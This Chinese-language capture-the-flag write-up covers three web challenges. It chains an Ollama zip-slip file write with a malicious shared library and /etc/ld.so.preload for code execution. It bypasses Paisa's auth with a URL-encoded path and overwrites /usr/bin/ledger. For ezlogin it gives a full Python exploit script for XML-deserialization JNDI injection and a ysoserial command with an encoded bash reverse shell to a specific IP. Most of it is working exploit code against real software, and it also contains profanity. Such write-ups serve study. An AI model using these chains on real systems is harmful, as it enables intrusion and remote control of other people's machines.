被ld.so.preload气晕。
 
 ollama4shell  
评价为最有遗憾的题目,就是差那个so就写出来了,真恶心啊。
ollama 0.1.34之前存在一个cve-2024-37032,但是题目给的ollama版本是1.4.0已经修复了,只能够另寻它路
发现了一个新版的任意文件写入:
https://vuldb.com/zh/?id.276057 
这个是通过zip-slip漏洞从而将文件任意写入的洞,目前exp:
用这个exp可以直接写入。
关键是任意文件写之后我们要怎么操作呢??
在cve-2024-37032的利用中已经提到了这一点:
https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032#the-vulnerability-arbitrary-file-write-via-path-traversal-25 
 Finally, Remote Code Execution  
As we mentioned previously, it is possible to exploit the Arbitrary File Write vulnerability to corrupt certain files in the system. In Docker installations, it is pretty straightforward to exploit it and achieve Remote Code Execution , as the server runs with*root* privileges.
The simplest way we thought of achieving remote-code-execution would be to corrupt ld.so configuration files, specifically /etc/ld.so.preload. This file contains a whitespace -separated list of shared libraries that should be loaded whenever a new process starts. Using our Arbitrary File Write exploit-primitive, we plant our payload as a shared library on the filesystem (/root/bad.so) and then we corrupt etc/ld.so.preload to include it. Finally, we query the /api/chat endpoint on the Ollama API Server, which subsequently creates a new process and thus loads our payload!
 
简单地说就是利用/etc/ld.so.preload+任意so即可。当写入成功后需要调用/api/chat从而开出一个新进程触发ld.so.preload
这里ld.so.preload的内容就是你恶意so的路径,但是使用ld.so.preload会使得每次都会开一个新进程,导致直接被卡死(本地vps上试过,本地环境也试过),导致反弹不了shell。就是差这最后一步,必须要删除/etc/ld.so.preload才能够正常。
解决的方式就是在编写的c里面加上这一删除的过程:
 
编译成so:
1 gcc -shared -fPIC 1.c -o 1.so 
 
制作zip-slip的脚本如下:
1 2 3 4 5 6 7 8 9 10 import  zipfileif  __name__ == "__main__" :    try :         zipFile = zipfile.ZipFile("D:\\lost and found\\CTF\\dasctf202410\\poc.zip" , "a" , zipfile.ZIP_DEFLATED)         info = zipfile.ZipInfo("/poc.zip" )         zipFile.write("D:\\lost and found\\CTF\\dasctf202410\\1.so" , "../../../../../../../root/1.so" , zipfile.ZIP_DEFLATED)         zipFile.close()     except  IOError as  e:         raise  e 
 
之后流程跟exp 来就可以了,此处需要写入两次,第一次写入1.so,第二次写入/etc/ld.so.preload
linux虚拟机内的sha256sum命令能够快速算出我们生成的zip包的sha256值,之后只需修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 {     "model_format" :  "gguf" ,      "model_family" :  "poc" ,      "model_families" :  [          "poc"      ] ,      "model_type" :  "7.6B" ,      "file_type" :  "Q4_0" ,      "architecture" :  "amd64" ,      "os" :  "linux" ,      "rootfs" :  {          "type" :  "layers" ,          "diff_ids" :  [              "sha256:0c4d18c5ef95682c998d48a73f84a9e3c15ab57db428fc1e85b12290ce5ff7b5" ,              "sha256:5a6f2f745e489dd4dddee2369becf80a307b9ca8cc69b8dce730f5a574560c16"          ]      }  } 
 
最后一条sha256的值和这个文件的sha256值即可
latest文件也需要更新:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 {     "schemaVersion" :  2 ,      "mediaType" :  "application/vnd.docker.distribution.manifest.v2+json" ,      "config" :  {          "digest" :  "sha256:aa1a537b33ec6e2b5fd9b7e437228c9df7103c64868c5a7c19e095f8d33163a0" ,          "mediaType" :  "application/vnd.docker.container.image.v1+json" ,          "size" :  455      } ,      "layers" :  [          {              "digest" :  "sha256:5a6f2f745e489dd4dddee2369becf80a307b9ca8cc69b8dce730f5a574560c16" ,              "mediaType" :  "application/vnd.ollama.image.template" ,              "size" :  545          }      ]  } 
 
只需修改最下面的sha256值即可,为了方便我vps里起了两个相似的文件夹,另一个写入/etc/ld.so.preload的不用动
保证文件夹符合exp内的tree格式即可
 
接下来请求/api即可,注意对http请求要添加Insecure:true
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 4. Send a /api/pull request with the malicious server parameter, this will download the evil blobs file curl http://localhost:11434/api/pull -d '{   "name": "tea.trganda.top:2083/trganda/poc:latest" }' 5. Send a `/api/create` request to ollama curl http://localhost:11434/api/create -d '{   "name": "poc",   "modelfile": "from @sha256:d40ad46a9b249e3eab803090ec2a51d46405a0afcbfe2a0f1ada7ac3a810f7f9" }' 6. The /tmp/evil.txt file was successfully created in container 
 
 
此时再申请create安装,sha256更改为恶意zip的sha256
 
此时已经安装成功,本地查看:
 
估计重施安装/etc/ld.so.preload即可,之后需要去/api/chat触发新进程,官方api里是这么调用/api/chat的:
1 2 3 4 5 6 curl http://localhost:11434/api/chat -d '{   "model": "mistral",   "messages": [     { "role": "user", "content": "why is the sky blue?" }   ] }' 
 
这里需要一个model,我们还需要去安装一个model下来,官方api内提供了一个占用很小的model——all-minilm,这个甚至在100M以内,所以我们能够很快地把他pull下来:
 
 
但是这里报了个错
 
是的,这个模型不支持chat,那要怎么办呢
 
看官方api的演示,这里有个generate,说不定能靠此生成进程:
 
答案是可以的,这样shell就弹过来了,妈妈生的。
 
远程环境再复现一遍即可
 
真的是被气死了,操他妈的
 paisa4shell  
这题没做,看看思路。
题目提示:
前台RCE,题目使用官方docker镜像;flag请提交DASCTF{}里的内容;https://github.com/ananthakumaran/paisa 
鉴权能绕、文件覆盖
 
首先是绕鉴权,一般都是/api,直接访问/api会报Invalid token,我们搜索这个错误:
 
可以看到它是这样判断的
1 2 3 4 5 6 return func(c *gin.Context) { 		userAccounts := config.GetConfig().UserAccounts 		if len(userAccounts) == 0 || !strings.HasPrefix(c.Request.RequestURI, "/api") { 			c.Next() 			return 		} 
 
那这个c.Request.RequestURI是啥呢,问问ai:
 
可以得到关键字:
 
此时如果我们将/apiurl编码的话,获取到的URI就是/%61pi,而不是/api,自然就绕过了鉴权。在server.go文件内有很多api接口,可以测试一下:
 
 
可以看到确实是可以的,那前台rce又怎么来的呢,前台RCE+文件覆盖
联想到rce,我们先在文件里面搜一下有没有内置的exec:
 
锁定ledger.go并且查看:
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 func  (LedgerCLI)   ValidateFile(journalPath string ) ([]LedgerFileError, string , error ) {	errors := []LedgerFileError{} 	ledgerPath, err := binary.LedgerBinaryPath() 	if  err != nil  { 		return  errors, "" , err 	} 	var  output, error  bytes.Buffer 	args := []string {"--args-only" } 	if  config.GetConfig().Strict == config.Yes { 		args = append (args, "--pedantic" ) 	} 	args = append (args, "-f" , journalPath, "balance" ) 	err = utils.Exec(ledgerPath, &output, &error , args...) 	if  err == nil  { 		return  errors, utils.Dos2Unix(output.String()), nil  	} 	re := regexp.MustCompile(`(?m)While parsing file "[^"]+", line ([0-9]+):\s*\n(?:(?:While|>).*\n)*((?:.*\n)*?Error: .*\n)` ) 	matches := re.FindAllStringSubmatch(utils.Dos2Unix(error .String()), -1 ) 	for  _, match := range  matches { 		line, _ := strconv.ParseUint(match[1 ], 10 , 64 ) 		errors = append (errors, LedgerFileError{LineFrom: line, LineTo: line, Message: match[2 ]}) 	} 	return  errors, "" , err } 
 
可以看到这里执行了err = utils.Exec(ledgerPath, &output, &error, args...)
相当于把这个ledge文件执行了,我们往ledge里面写内容不就可以了吗
 
可以看到ledge应该放在了/usr/bin里,名字叫ledger
覆盖这个即可,知道写什么了,那怎么调用这个函数执行呢?
搜索ValidateFile()函数,看和api有没有联系:
 
可以看到/api/editor/validate调用了它
问题迎刃而解,现在只剩下要怎么覆盖的问题了,看看api里有没有覆写的api吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 router.POST("/api/editor/save" , func (c *gin.Context)   { 		if  config.GetConfig().Readonly { 			c.JSON(200 , gin.H{"errors" : []ledger.LedgerFileError{}, "saved" : false , "message" : "Readonly mode" }) 			return  		} 		var  ledgerFile LedgerFile 		if  err := c.ShouldBindJSON(&ledgerFile); err != nil  { 			c.JSON(http.StatusBadRequest, gin.H{"error" : err.Error()}) 			return  		} 		c.JSON(200 , SaveFile(db, ledgerFile)) 	}) 
 
这个保存文件的api比较可疑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 func  SaveFile (db *gorm.DB, file LedgerFile)   gin.H {	errors, _, err := validateFile(file) 	if  err != nil  { 		return  gin.H{"errors" : errors, "saved" : false , "message" : "Validation failed" } 	} 	path := config.GetJournalPath() 	dir := filepath.Dir(path) 	filePath := filepath.Join(dir, file.Name) 	backupPath := filepath.Join(dir, file.Name+".backup." +time.Now().Format("2006-01-02-15-04-05.000" )) 	err = os.MkdirAll(filepath.Dir(filePath), 0700 ) 	if  err != nil  { 		log.Warn(err) 		return  gin.H{"errors" : errors, "saved" : false , "message" : "Failed to create directory" } 	} 	fileStat, err := os.Stat(filePath) 	if  err != nil  && file.Operation != "overwrite"  && file.Operation != "create"  { 		log.Warn(err) 		return  gin.H{"errors" : errors, "saved" : false , "message" : "File does not exist" } 	} 	var  perm os.FileMode = 0644  	if  err == nil  { 		if  file.Operation == "create"  { 			return  gin.H{"errors" : errors, "saved" : false , "message" : "File already exists" } 		} 		perm = fileStat.Mode().Perm() 		existingContent, err := os.ReadFile(filePath) 		if  err != nil  { 			log.Warn(err) 			return  gin.H{"errors" : errors, "saved" : false , "message" : "Failed to read file" } 		} 		err = os.WriteFile(backupPath, existingContent, perm) 		if  err != nil  { 			log.Warn(err) 			return  gin.H{"errors" : errors, "saved" : false , "message" : "Failed to create backup" } 		} 	} 	err = os.WriteFile(filePath, []byte (file.Content), perm) 	if  err != nil  { 		log.Warn(err) 		return  gin.H{"errors" : errors, "saved" : false , "message" : "Failed to write file" } 	} 	Sync(db, SyncRequest{Journal: true }) 	return  gin.H{"errors" : errors, "saved" : true , "file" : readLedgerFileWithVersions(dir, filePath)} } 
 
尝试利用这个api写文件即可,具体怎么写呢,还是看ai:
 
也就是说我们要用json传值,且变量名和LedgerFile结构体内的一致:
 
肯定要传name和content的啦:
1 {"name":"../../../../../usr/bin/ledger", "content":"#!/bin/sh\nid"} 
 
 
啊?这个api不行?那我们找一个相似的:
 
这个也是有相似功能的,写进去了:
 
访问/api/editor/validate触发
 
 
 ezlogin  
这个题本人觉得还是挺有意思的,知识盲区,学习了
一个登录的java服务,org.example.UserUtil如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 package  org.example.auth;import  cn.hutool.core.io.FileUtil;import  cn.hutool.core.util.XmlUtil;import  java.io.File;import  java.text.MessageFormat;import  javax.xml.parsers.DocumentBuilderFactory;import  org.springframework.web.context.support.XmlWebApplicationContext;public  class  UserUtil  {    private  static  int  maxLength  =  FileUtil.readString(new  File ("/user/AAAAAA.xml" ), "UTF-8" ).length();     private  static  final  File  USER_DIR  =  new  File ("/user" );     public  static  boolean  login_in  =  false ;     private  static  boolean  checkSyntax (File xmlFile)  {         try  {             DocumentBuilderFactory  factory  =  DocumentBuilderFactory.newInstance();             factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl" , true );             factory.setFeature("http://xml.org/sax/features/external-general-entities" , false );             factory.setFeature("http://xml.org/sax/features/external-parameter-entities" , false );             factory.setNamespaceAware(false );             factory.newDocumentBuilder().parse(xmlFile);             return  true ;         } catch  (Exception e) {             System.out.printf("XML syntax error : %s\n" , xmlFile.getName());             return  false ;         }     }     public  static  String register (String username, String password)  throws  Exception {         File  userFile  =  new  File (USER_DIR, username + XmlWebApplicationContext.DEFAULT_CONFIG_LOCATION_SUFFIX);         if  (userFile.exists()) {             return  "User already exists!" ;         }         FileUtil.writeString(MessageFormat.format("<java>\n    <object class=\"org.example.auth.User\">\n        <void property=\"username\">\n            <string>{0}</string>\n        </void>\n        <void property=\"password\">\n            <string>{1}</string>\n        </void>\n    </object>\n</java>" , username, password), userFile, "UTF-8" );         return  "Register successful!" ;     }     public  static  User login (String username, String password)  throws  Exception {         User user;         File  userFile  =  new  File (USER_DIR, username + XmlWebApplicationContext.DEFAULT_CONFIG_LOCATION_SUFFIX);         if  (!userFile.exists() || (user = readUser(userFile)) == null  || !user.getPassword().equals(password)) {             return  null ;         }         login_in = true ;         return  user;     }     private  static  User readUser (File userFile)  throws  Exception {         String  content  =  FileUtil.readString(userFile, "UTF-8" );         int  length  =  content.length();         if  (checkSyntax(userFile) && !content.contains("java." ) && !content.contains("springframework." ) && !content.contains("hutool." ) && length <= maxLength) {             return  (User) XmlUtil.readObjectFromXml(userFile);         }         System.out.printf("Unusual File Detected : %s\n" , userFile.getName());         return  null ;     }     public  static  String changePassword (String username, String oldPass, String newPass)  {         File  userFile  =  new  File (USER_DIR, username + XmlWebApplicationContext.DEFAULT_CONFIG_LOCATION_SUFFIX);         if  (!userFile.exists()) {             return  "User not exists!" ;         }         FileUtil.writeString(FileUtil.readString(userFile, "UTF-8" ).replace(oldPass, newPass), userFile, "UTF-8" );         return  "Edit Success!" ;     }     public  static  String delUser (String username)  {         File  userFile  =  new  File (USER_DIR, username + XmlWebApplicationContext.DEFAULT_CONFIG_LOCATION_SUFFIX);         if  (!userFile.exists()) {             return  "User has already been deleted!" ;         }         try  {             FileUtil.del(userFile);             return  "User delete success!" ;         } catch  (Exception e) {             return  "error!" ;         }     }     public  static  boolean  check (String username, String password)  {         if  (!username.matches("^[\\x20-\\x7E]{1,6}$" ) || !password.matches("^[\\x20-\\x7E]{3,10}$" )) {             return  false ;         }         return  true ;     } } 
 
这里存在一个xml反序列化,就在readUser()
1 2 3 4 5 6 7 8 9 private  static  User readUser (File userFile)  throws  Exception {        String  content  =  FileUtil.readString(userFile, "UTF-8" );         int  length  =  content.length();         if  (checkSyntax(userFile) && !content.contains("java." ) && !content.contains("springframework." ) && !content.contains("hutool." ) && length <= maxLength) {             return  (User) XmlUtil.readObjectFromXml(userFile);         }         System.out.printf("Unusual File Detected : %s\n" , userFile.getName());         return  null ;     } 
 
这里做了一个waf,过了waf之后就调用readObjectfromXml进行xml反序列化
思路很简单,怎么控制这个xml能够自由写入,而且要写入什么。而且写入也是有限制的,在register里就给你写好了这个userfile:
1 2 3 4 5 6 7 8 public  static  String register (String username, String password)  throws  Exception {        File  userFile  =  new  File (USER_DIR, username + XmlWebApplicationContext.DEFAULT_CONFIG_LOCATION_SUFFIX);         if  (userFile.exists()) {             return  "User already exists!" ;         }         FileUtil.writeString(MessageFormat.format("<java>\n    <object class=\"org.example.auth.User\">\n        <void property=\"username\">\n            <string>{0}</string>\n        </void>\n        <void property=\"password\">\n            <string>{1}</string>\n        </void>\n    </object>\n</java>" , username, password), userFile, "UTF-8" );         return  "Register successful!" ;     } 
 
能写入的只有username和password,而且username和password写入的长度十分有限,分别只有最多6位和最多10位
题目提示:
逻辑漏洞 <!–
 
这个提示是<!--是xml的注释符,那题目就是提示我们去找能够注释掉的地方,而且不是注册接口,因为注册的地方不允许我们写入太长的payload。几个controller只剩deleteController和editController没看了,RegistryController我们说了没啥用,LoginController是正常的
delUser的调用也没有什么问题,没有涉及到文件的写,而是直接删除了这个文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public  static  String delUser (String username)  {        File  userFile  =  new  File (USER_DIR, username + XmlWebApplicationContext.DEFAULT_CONFIG_LOCATION_SUFFIX);         if  (!userFile.exists()) {             return  "User has already been deleted!" ;         }         try  {             FileUtil.del(userFile);             return  "User delete success!" ;         } catch  (Exception e) {             return  "error!" ;         }     } public  static  boolean  del (File file)  throws  IORuntimeException {        if  (file == null  || false  == file.exists()) {             return  true ;         }         if  (file.isDirectory() && false  == clean(file)) {             return  false ;         }         Path  path  =  file.toPath();         try  {             delFile(path);             return  true ;         } catch  (DirectoryNotEmptyException e) {             del(path);             return  true ;         } catch  (IOException e2) {             throw  new  IORuntimeException (e2);         }     } 
 
那就只有edit了,而edit里只有修改密码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public  class  EditController  {    @PostMapping(value = {"/editPass"}, consumes = {MediaType.APPLICATION_FORM_URLENCODED_VALUE})      @ResponseBody      public  String edit (@RequestParam  String newPass, HttpSession session)  {         User  user  =  (User) session.getAttribute("loggedInUser" );         if  (user == null ) {             return  "No user logged in!" ;         }         if  (!UserUtil.check(user.getUsername(), newPass)) {             return  "Invalid input ! Password length should be between 3-10 and it should be printable English chars!" ;         }         UserUtil.changePassword(user.getUsername(), user.getPassword(), newPass);         return  "Edit success!" ;     }     @GetMapping({"/editPass"})      public  String showEditPage ()  {         return  "edit" ;     } } 
 
可以看到他从我们的session里获取了我们的信息,再根据这个session里的信息去获取到的username password。
也就是说调用changepassword 的时候其实是获取到了我们session里的信息再用这个信息去改的
而修改的时候是直接将xml里的oldpass给replace成newpass
那这里就有漏洞了,如果session不变的话 ,我就可以限制oldpass为xxx,此时newpass为aaaxxx,这样replace后文件就会变成aaaxxx,但是oldpass还是xxx,下一次newpass变成bbbxxx,这样子,下一次重置就变成了aaabbbxxx,这样一直写下去就可以了
而且可以很明显的发现session是不变的,无论是edit还是del都不会对session有影响。而且这也有一个好处,我这样还可以对同一个user的xml进行不断的修改,流程就是不断地注册同名用户,然后获取到session后就可以删除。
还有个问题就是写啥?
这是一个spring服务,所以肯定有jackson,我们还不能够直接传payload进去,因为payload太长了(个人认为),这题目还有长度的限制。要想缩短长度得用jrmp的思路
也就是:
1 2 3 4 5 6 7 <java >   <object  class ="javax.naming.InitialContext" >      <void  method ="lookup" >        <string > rmi://ip:port/a</string >      </void >    </object >  </java > 
 
AAAAAA.xml:
1 2 3 4 5 6 7 8 9 10 <java > 	<object  class ="org.example.auth.User" >  		<void  property ="username" >  			<string > AAAAAA</string >  		</void >  		<void  property ="password" >  			<string > AAAAAAAAAA</string >  		</void >  	</object >  </java > 
 
而写入的文件就跟这个AAAAAA.xml几乎一致,这意味着我们要利用刚刚那个方法去改xml,我们还得把它改短:
1 2 3 4 5 6 7 8 9 10 <java > 	<object  class ="org.example.auth.User" >  		<void  property ="username" >  			<string > AAAAAA</string >  		</void >  		<void  property ="password" >              <string > /<java > <object  class ="javax.naming.InitialContext" > <void  method ="lookup" > <string > rmi://ip:port/a</string > </void > </object > </java > /</string >              </void >  	</object >  </java > 
 
以/ /为分界线,分界线里面是我们需要的,其他的是我们需要注释掉的或者需要换掉以缩短长度的,而/ /就可以替换为-->和<!--进行注释。真正要写入的内容变为:
1 --><java><object class="javax.naming.InitialContext"><void method="lookup"><string>rmi://ip:port/a</string></void></object></java><!-- 
 
我们可以通过下面的方式去注释:
注册关键词用户,获取他们的session,将其修改为最短的111(密码最短3位) 
对于<java></java>这两个我们可以改成<!--注释符,将java替换为!--配合我们的注释符 
对于写入payload,只需将oldpassword设置为任意标识符,例如_____,然后newpassword为xxxxx_____即可不断写入 
 
由此可以写一个exp,这里就直接利用出题人的wp了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 import  requestsimport  systargeturl = "http://" +sys.argv[1 ] //靶机地址 rmiserver = sys.argv[2 ] //rmi服务器地址 sessions = {} def  register (passwd ):    data={"password" :passwd,"username" :"F" }     res = requests.post(targeturl+"/register" ,data=data)     if  "success"  in  res.text.lower():         print (f"register {passwd}  success" )     else  : print (f"register fail: {res.text} " );exit(114514 ) def  getsession (passwd ):    data={"password" :passwd,"username" :"F" }     res = requests.post(targeturl+"/login" ,data=data)     if  "redirect"  in  res.text.lower() :         session=res.headers.get("Set-Cookie" ).split(";" )[0 ].split("=" )[1 ]         print (f"session for {passwd}  : {session} " )         headers = {"Cookie"  : f"JSESSIONID={session} " }         sessions[passwd] = headers     else :         print (f"login fail : {res.text} " );exit(114514 ) def  editpass (oldpass,newpass ):    data={"newPass" :newpass}     headers = sessions[oldpass]     res = requests.post(targeturl+"/editPass" ,data=data,headers=headers)     if  "success"  in  res.text.lower():         print (f"change {oldpass}  to {newpass}  success" )     else :         print (f"edit fail : {res.text} " );exit(114514 ) def  deluser (passwd ):    res = requests.get(targeturl+"/del" ,headers=sessions[passwd])     if  "success"  in  res.text.lower():         print (f"delete {passwd}  success" ) def  addsession (passwd ):    register(passwd)     getsession(passwd)     deluser(passwd) payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://" +rmiserver+"/a</string></void></object></java><!--"  list1 = [] for  i in  range (0 ,len (payload1),5 ) :    if  len (payload1) - i >= 5 :         list1.append(payload1[i:i+5 :]+"_____" )     else :         list1.append(payload1[i:len (payload1)])         break  print (list1)if  len (list1[-1 ]) < 3 :    list1[-1 ]=list1[-2 ][-8 :-5 :]+list1[-1 ]     list1[-2 ]=list1[-2 ][0 :2 ]+list1[-2 ][-5 :-1 :] print (list1)list2=[] payload2="11111 class=\"org.example.auth.User\""  for  i in  range (0 ,len (payload2),10 ) :    if  len (payload2) - i >= 10 :         list2.append(payload2[i:i+10 :])     else :         list2.append(payload2[i:len (payload2)])         break  print (list2)for  s in  list2:    addsession(s) list3=[] payload3="void property=\"username\""  for  i in  range (0 ,len (payload3),10 ) :    if  len (payload3) - i >= 10 :         list3.append(payload3[i:i+10 :])     else :         list3.append(payload3[i:len (payload3)])         break  print (list3)list4=[] payload4="void property=\"password\""  for  i in  range (0 ,len (payload4),10 ) :    if  len (payload4) - i >= 10 :         list4.append(payload4[i:i+10 :])     else :         list4.append(payload4[i:len (payload4)])         break  print (list4)addsession("_____" ) addsession("____" ) for  s in  list3:    addsession(s) for  s in  list4:    addsession(s) addsession("string" ) addsession("object" ) addsession("/void" ) addsession("    " ) addsession("1111111111" ) addsession("/11111" ) addsession("java" ) addsession("11111" ) register("haha" ) getsession("haha" ) editpass("java" ,"!--" ) editpass("string" ,"11111" ) editpass("object" ,"11111" ) editpass("/11111" ,"11111" ) editpass("    " ,"11111" ) editpass("/void" ,"111" ) for  s in  list2:    editpass(s,"11111" ) for  s in  list3:    editpass(s,"11111" ) for  s in  list4:    editpass(s,"11111" ) editpass("1111111111" ,"11111" ) editpass("1111111111" ,"11111" ) editpass("haha" ,list1[0 ]) editpass("11111" ,"111" ) for  payload in  list1[1 ::]:    editpass("_____" ,payload) editpass("____" ,"<!--" ) requests.post(targeturl+"/login" ,data={"username" :"F" ,"password" :"1" }) 
 
可惜复现失败T_T,投降,jndi还是太难了 
updated in 2024.10.26 
红温了,原来是我vps没有开放80端口:
 
可以看到红框内换到6001端口就能发payload了,按照正常流程打一遍jrmp即可:
1 jdk1.8.0_112/bin/java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6001 Jackson "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzOC4xMjcuNzQvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" 
 
shell弹过来了: